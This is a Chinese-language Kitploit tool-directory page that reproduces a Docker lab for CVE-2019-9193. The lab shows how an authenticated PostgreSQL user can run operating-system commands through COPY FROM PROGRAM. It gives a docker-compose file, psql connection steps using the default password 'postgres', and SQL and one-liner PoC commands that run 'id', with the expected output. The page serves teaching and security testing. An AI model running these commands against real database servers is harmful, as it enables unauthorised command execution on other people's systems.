Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-9193byVulHub — 基于Docker的实验室,演示CVE-2019-9193 PostgreSQL通过COPY FROM PROGRAM执行的任意命令,附带逐步PoC,用于安全测试和教育。 | Kitploit
工具/GitHubGitHub/corsisechero/cve-2019-9193byvulhub
漏洞分析漏洞利用渗透测试学习与教育数据库安全实验室与实践
GitHubcorsisechero/cve-2019-9193byvulhub

CVE-2019-9193byVulHub

基于Docker的实验室,演示CVE-2019-9193 PostgreSQL通过COPY FROM PROGRAM执行的任意命令,附带逐步PoC,用于安全测试和教育。

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-9193byVulHub


PostgreSQL 管理员权限下的任意命令执行 (CVE-2019-9193)

描述

PostgreSQL 是一个强大的开源关系数据库管理系统。存在于 9.3 到 11 版本中的一个漏洞允许管理员或拥有 COPY TO/FROM PROGRAM 权限的用户在系统上执行任意命令。

参考链接:

  • GitHub - Vulhub - PostgreSQL CVE-2019-9193
  • Greenwolf Security - 在 PostgreSQL 9.3 及更新版本中通过身份验证的任意命令执行

环境配置

Docker Compose 文件 (docker-compose.yml)

创建包含以下内容的 docker-compose.yml 文件:

root@kitploit:~
version: '2'
services:
 postgres:
   image: vulhub/postgres:10.7
   ports:
    - "5432:5432"
   environment:
    - POSTGRES_PASSWORD=postgres

启动 PostgreSQL 容器

使用以下命令启动容器:

root@kitploit:~
docker compose up -d

验证容器是否正在运行:

root@kitploit:~
docker ps

输出应显示 PostgreSQL 容器正在监听端口 5432。


无需进入容器执行漏洞利用

1. 安装 PostgreSQL 客户端

如果你没有安装 psql 客户端,可以通过以下方式安装:

  • Kali:
    root@kitploit:~
    apt-get install postgresql-client
    

2. 通过命令行连接数据库

直接从 Kali 连接数据库:

root@kitploit:~
psql -h localhost -p 5432 -U postgres

系统会提示你输入密码,请输入:

root@kitploit:~
postgres

3. 执行 PoC(概念验证)

连接到 PostgreSQL 控制台后,执行以下命令以利用漏洞:

root@kitploit:~
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;

-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);

-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';

-- Visualizza l'output del comando
SELECT * FROM cmd_exec;

4. 从命令行执行命令(无需交互式 shell)

你可以直接从命令行执行所有操作:

root@kitploit:~
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"

验证输出

如果漏洞利用成功,你应该看到类似以下的输出:

root@kitploit:~
       cmd_output
-------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)

退出 PostgreSQL 控制台

按 \q 退出:

root@kitploit:~
\q

安全注意事项

此漏洞允许在管理员权限下执行任意命令。请仅在受控环境中用于学习或验证目的。在未经授权的系统上利用此漏洞是违法的。

下载工具